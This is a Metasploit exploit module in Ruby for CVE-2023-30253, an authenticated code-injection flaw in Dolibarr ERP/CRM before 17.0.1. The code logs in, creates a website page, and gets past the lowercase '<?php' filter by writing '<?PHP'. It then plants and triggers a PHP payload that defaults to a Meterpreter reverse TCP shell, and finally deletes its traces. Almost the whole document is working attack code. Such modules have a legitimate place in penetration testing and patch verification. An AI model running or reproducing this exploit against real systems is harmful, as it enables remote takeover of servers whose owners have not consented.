Dolibarr ERP/CRM Authenticated Code Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dolibarr ERP/CRM Authenticated Code Injection',
        'Description' => %q{
          Dolibarr ERP/CRM before 17.0.1 allows remote code execution by an
          authenticated user who has access to the Website module. The
          application filters lowercase `<?php` tags to prevent PHP code
          injection in website page content, but this check can be bypassed
          by using an uppercase variant such as `<?PHP`. This
          allows injecting arbitrary PHP code that is executed when the
          website page is rendered. Versions prior to 17.0.1 are known to
          be vulnerable. The vulnerability was fixed in version 17.0.1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Tinexta Cyber Offensive Security Team', # Discovery
          'Emanuele Cervelli'                      # Metasploit module
        ],
        'References' => [
          ['CVE', '2023-30253'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-30253'],
          ['URL', 'https://www.swascan.com/security-advisory-dolibarr-17-0-0/']
        ],
        'Platform' => ['php'],
        'Arch' => [ARCH_PHP],
        'Privileged' => false,
        'Targets' => [
          [
            'PHP Meterpreter',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp',
                'Encoder' => 'php/base64'
              }
            }
          ]
        ],
        'DisclosureDate' => '2023-05-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Dolibarr username', 'admin']),
        OptString.new('PASSWORD', [true, 'Dolibarr password', 'admin']),
        OptString.new('TARGETURI', [true, 'Base path to Dolibarr', '/'])
      ]
    )
  end

  def referer(path)
    proto = datastore['SSL'] ? 'https' : 'http'
    "#{proto}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, path)}"
  end

  def get_csrf_token(path, referer: nil)
    headers = {}
    headers['Referer'] = referer if referer

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, path),
      'method' => 'GET',
      'keep_cookies' => true,
      'headers' => headers
    )

    return nil if res.nil?

    html = res.get_html_document
    token_meta = html.at('meta[@name="anti-csrf-newtoken"]')
    return token_meta['content'] if token_meta

    token_input = html.at('input[@name="token"]')
    return token_input['value'] if token_input

    nil
  end

  def login
    token = get_csrf_token('index.php')
    fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token from login page') if token.nil?

    vprint_status("Attempting login as #{datastore['USERNAME']}")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => {
        'Referer' => referer('index.php')
      },
      'vars_post' => {
        'token' => token,
        'actionlogin' => 'login',
        'loginfunction' => 'loginfunction',
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )

    fail_with(Failure::Unreachable, 'No response received during login') if res.nil?
    fail_with(Failure::NoAccess, 'Login failed - invalid credentials') if res.body.include?('Bad value for login or password')

    print_good('Successfully authenticated to Dolibarr')
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    )

    return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?
    return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
    return CheckCode::Safe('Target does not appear to be running Dolibarr') unless res.body.downcase.include?('dolibarr')

    version = nil
    if res.body =~ /Dolibarr\s+(\d+\.\d+\.\d+)/i
      version = ::Regexp.last_match(1)
    end

    if version
      ver = Rex::Version.new(version)
      if ver < Rex::Version.new('17.0.1')
        return CheckCode::Appears("Vulnerable version detected: #{version}")
      else
        return CheckCode::Safe("Not vulnerable, version detected: #{version}")
      end
    end

    CheckCode::Detected('Dolibarr detected but version could not be determined')
  end

  def create_website
    @website_name = Rex::Text.rand_text_alpha_lower(8)
    vprint_status("Creating website: #{@website_name}")
    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))

    fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for website creation') if token.nil?

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_post' => {
        'token' => token,
        'action' => 'addsite',
        'website' => '-1',
        'WEBSITE_REF' => @website_name,
        'WEBSITE_LANG' => 'en',
        'addcontainer' => 'Create'
      }
    )

    fail_with(Failure::Unreachable, 'No response when creating website') if res.nil?
    fail_with(Failure::NotVulnerable, 'Website module is not enabled') if res.body.include?('Access denied')

    print_good("Website '#{@website_name}' created")
    @website_created = true
  end

  def create_page
    @page_name = Rex::Text.rand_text_alpha_lower(6)
    vprint_status("Creating page: #{@page_name}")
    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for page creation') if token.nil?

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_post' => {
        'token' => token,
        'action' => 'addcontainer',
        'website' => @website_name,
        'radiocreatefrom' => 'checkboxcreatemanually',
        'WEBSITE_TYPE_CONTAINER' => 'page',
        'sample' => 'empty',
        'WEBSITE_TITLE' => @page_name,
        'WEBSITE_PAGENAME' => @page_name,
        'WEBSITE_LANG' => 'en',
        'addcontainer' => 'Create'
      }
    )

    fail_with(Failure::Unreachable, 'No response when creating page') if res.nil?
    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    html = res.get_html_document
    page_option = html.at('select[@name="pageid"] option[selected]')
    fail_with(Failure::UnexpectedReply, 'Could not find page ID') if page_option.nil?

    @page_id = page_option['value']
    fail_with(Failure::UnexpectedReply, 'Could not find page ID') if @page_id.to_s.empty?

    print_good("Page '#{@page_name}' created with ID #{@page_id}")
  end

  def inject_and_trigger
    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil?

    section_id = Rex::Text.rand_text_alpha_lower(8)
    page_content = %(<section id="#{section_id}" contenteditable="true"><?PHP #{payload.encoded}; ?></section>)

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_post' => {
        'token' => token,
        'backtopage' => '',
        'dol_openinpopup' => '',
        'action' => 'updatesource',
        'website' => @website_name,
        'pageid' => @page_id,
        'update' => 'Save',
        'PAGE_CONTENT' => page_content
      }
    )

    fail_with(Failure::Unreachable, 'No response when injecting payload') if res.nil?

    print_good('Payload injected, triggering...')

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'public', 'website', 'index.php'),
      'method' => 'GET',
      'vars_get' => {
        'website' => @website_name,
        'pageref' => @page_name
      }
    }, 5)
  end

  def get_website_id
    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_get' => {
        'action' => 'deletesite',
        'token' => token,
        'website' => @website_name
      }
    )

    return nil if res.nil?

    match = res.body.match(%r{/website/index\.php\?id=(\d+)&action=confirm_deletesite})
    return match[1] if match

    nil
  end

  def delete_page
    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_post' => {
        'token' => token,
        'backtopage' => '',
        'website' => @website_name,
        'pageid' => @page_id,
        'delete' => 'Delete'
      }
    )
  end

  def delete_website
    website_id = get_website_id
    return if website_id.nil?

    token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'headers' => { 'Referer' => referer('website/index.php') },
      'vars_get' => {
        'id' => website_id,
        'action' => 'confirm_deletesite',
        'confirm' => 'yes',
        'token' => token,
        'delete_also_js' => '',
        'delete_also_medias' => ''
      }
    )
  end

  def cleanup
    super

    return unless @website_created

    begin
      vprint_status("Cleaning up website '#{@website_name}'")
      delete_page if @page_id
      delete_website
      print_good("Website '#{@website_name}' deleted")
    rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout => e
      print_warning("Cleanup failed: #{e.message}")
    end
  end

  def exploit
    login
    create_website
    create_page

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    inject_and_trigger
  end
end